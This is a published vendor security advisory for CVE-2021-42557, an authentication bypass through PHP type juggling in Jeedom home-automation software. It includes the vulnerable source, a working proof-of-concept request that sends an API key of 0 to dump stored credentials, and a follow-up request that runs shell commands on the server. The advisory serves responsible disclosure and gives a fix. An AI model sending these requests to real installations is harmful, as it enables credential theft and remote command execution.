Jeedom Authentication Bypass vulnerability

Security advisory
2021-10-13

Maxime Rinaudo
Antoine Cervoise
Vulnerability description

Presentation of Jeedom

“Jeedom is free open-source software that can be installed on any Linux system.” Jeedom is a home automation open source and free software.

The issues

Synacktiv discovered an authentication bypass vulnerability in Jeedom projects due to a lack of user input sanitization: The check of API key is vulnerable to type juggling and allows a remote attacker to bypass authentication and use the API to retrieve users credentials from the system.

Workaround

There is no official workaround at this time but using “===” instead of “==” comparison operator should fix the bug.

Affected versions

Project Jeedom, versions 4.1.26 and below available on: https://github.com/jeedom/core

Timeline

<table>
<thead>
<tr>
<th>Date</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>2021-10-13</td>
<td>Advisory sent to Jeedom developers: <a href="mailto:contact@jeedom.com">contact@jeedom.com</a></td>
</tr>
<tr>
<td>2021-10-14</td>
<td>Publication of version 4.1.27 with a patch (<a href="https://doc.jeedom.com/fr_FR/core/4.1/changelog">https://doc.jeedom.com/fr_FR/core/4.1/changelog</a>)</td>
</tr>
<tr>
<td>2021-10-18</td>
<td>Use of CVE-2021-42557</td>
</tr>
</tbody>
</table>
Technical description and proof-of-concept

**Jeedom** project provide two API endpoints: `core/api/proApi.php` and `core/api/jeeApi.php`. Both endpoints call a method `jeedom::apiAccess` to check user's API key validity:

**On core/api/proApi.php:**

```php
if (isset($params['proapi']) && !jeedom::apiAccess($params['proapi'], 'apipro')) {
    throw new Exception(__('Vous n\'êtes pas autorisé à effectuer cette action', __FILE__), -32001);
}
```

**On core/api/jeeApi.php:**

```php
if (!jeedom::apiAccess(init('apikey', init('api')), $plugin)) {
    user::failedLogin();
    sleep(5);
    throw new Exception(__('Vous n\'êtes pas autorisé à effectuer cette action 1, IP : ', __FILE__) . getClientIp());
}
```

The function `jeedom::apiAccess` located in `core/class/jeedom.class.php` makes a comparison between user's provided API key and it's real value using a `==` comparison operator.

```php
public static function apiAccess($_apikey = '', $_plugin = 'core') {
    if (trim($_apikey) == '') {
        return false;
    }
    if ($_plugin != 'core' && self::apiAccess($_apikey)){
        return true;
    }
    if ($_plugin != 'core' && $_plugin != 'proapi' && !self::apiModeResult(config::byKey('api::' . $_plugin . '::mode', 'core', 'enable'))) {
        return false;
    }
    $apikey = self::getApiKey($_plugin);
    if (trim($apikey) != '' && $apikey == $_apikey) {
        GLOBAL $_RESTRICTED;
        $_RESTRICTED = config::byKey('api::' . $_plugin . '::restricted', 'core', 0);
        return true;
    }
    [...]
```

A user providing an integer 0 as API key will make the function `jeedom::apiAccess` return true without any valid credential.

This vulnerability can be exploited for example with the request below:

```
POST /core/api/proApi.php HTTP/1.1
Host:<IP>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://<IP>/3rdparty/roboto/roboto.css?md5=
Connection: close
Content-Length: 102

{
    "jsonrpc":"2.0",
    "method":"jeeObject::full",
    "params":
```
"apikey":0,
"api":0,
"proapi":0
}
}

HTTP/1.1 200 OK
Date: Wed, 13 Oct 2021 15:56:14 GMT
Server: Apache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 1846523

[...]
username":"admin","password":"XXXXX","portssh":"22"[...]
[...]
http_username":"admin","http_password":"XXXXX"[...]

Note: Users credentials could also be retrieved using other methods such as: `eqLogic::all` or `config::byKey`.

Warnings:

- Access to the web interface would allow a remote attacker to execute commands on the web server using the following request.

POST /jeedom/core/ajax/jeedom.ajax.php HTTP/1.1
Host: <target>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 21
Connection: close
Cookie: PHPSESSID=<id>

action=ssh&command=id

HTTP/1.1 200 OK
Date: Wed, 13 Oct 2021 07:21:57 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 79
Connection: Close
Content-Type: application/json

{"state":"ok","result":"uid=33(www-data) gid=33(www-data) groups=33(www-data)"}

- According to shodan.io and fofa.so, thousands of Jeedom application are exposed and reachable from the internet.